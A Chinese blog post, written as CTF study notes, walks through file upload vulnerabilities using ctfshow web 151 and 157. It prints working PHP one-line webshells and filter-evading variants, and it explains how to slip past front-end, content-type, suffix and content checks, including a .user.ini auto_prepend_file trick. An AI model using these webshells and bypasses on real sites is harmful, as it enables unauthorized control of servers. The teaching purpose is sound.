文件上传漏洞

前言:由于比赛要考,所以来学文件上传漏洞了

1.0 什么是文件上传漏洞

文件上传漏洞,就是网页没有对上传文件的形式进行限制,或者说对于其的限制可绕过从而产生的

漏洞,对于此漏洞,我们可以上传后门文件,例如一句话木马,从而获得网站的后门权限。

1.1 前端验证型

典例就是Ctfshow web 151

我们查看一下按钮的前端代码

<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'images',exts:'png'}"><i class="layui-icon"></i>上传图片</button>

发现出现了自定义属性,lay-data,尝试直接提交一句话木马看一下是否能成功,发现不能提交该格式的文件,故

考虑进行了前端验证,将exts的值改为php,再尝试提交一下,发现成功了。

具体的一句话木马如下

<?php
@eval($_POST['a']);
?>

a是连接的密码,可以任意更改

利用webshell管理工具就可控制其网站了。

除了这种思路,我们还可以采取先以正确后缀提交文件,绕过前端验证,然后抓包改文件名。

1.3限制content-type型

如果是根据content-type对文件类型进行后端判断的,很简单,直接抓包改content-type即可

比如将原本的application/php改为image/png,即可绕过

1.4 限制接受的文件类型型

如果在后端对文件后缀进行了判定,限制不能为php文件,我们该如何处理呢

如果我们直接更改filename,很明显上传后端的文件也不是php格式了,明显不能这样

这时候可能就需要用到.user.ini了

php.ini是php的一个全局配置文件,对整个web服务器起作用,.user.ini是用户自定义的一个

php.ini,我们可以利用其来构造后们

.user.ini有两种配置形式,

auto_prepend_file= filename //将另外一个文件的内容包含在所有php文件的文件头
auto_append_file=filename //将另外一个文件的内容包含在所有php文件的尾部

所以当.user.ini文件,包含的文件,和任意的php文件出现在同一个目录下,就可以进行构造

webshell了,注意,这几个文件必须在同一个文件夹内,一般在upload文件夹内

首先先上传.user.ini文件,内容就写

auto_prepend_file= filename

比如你要上传的一句话木马名称为a.png,就将filename改为a.png即可

上传时由于前端存在限制,先以.user.png类型提交,然后抓包更改filename,更改为.user.ini

然后直接上传a.png,之后用蚁剑连接即可

需要注意的是.user.ini作用域为当前目录

1.5 限制文件内容

又到了经典的内容过滤了,这部分太典了,各种绕过就行

1.5.1 php过滤

后端如果对文件内容的php字符进行限制,我们可以使用不同的代码标签绕过

具体绕过思路为

1 php大小写绕过

<?pHp
?>

2 短标签绕过

<?= eval($_POST[1]);?>
 
<? eval($_POST[1]);?>
 
<% eval($_POST[1]);%>

通过这两种标签构造.user.ini可以成功写入webshell

1.5.2 []过滤

对于这种过滤,解决起来也比较容易,直接用花括号代替即可

1.5.3 [] {}同时过滤

以ctfshow web 157为例子

如果我们同时将[]{}进行了过滤,那么该如何绕过呢?

首先我们明白,post的数据是存储在post数组中的,既然这样,我们不按位置进行调用,直接pop,也是可以执行

内部内容的

<?phP
    eval(array_pop($_POST))
?>

为什么没有分号呢?因为该题也过滤掉了分号,但由于php的最后一行语句可以不带,所以直接去掉即可。

posted @ 2023-09-06 23:26  折翼的小鸟先生  阅读(39)  评论(0编辑  收藏  举报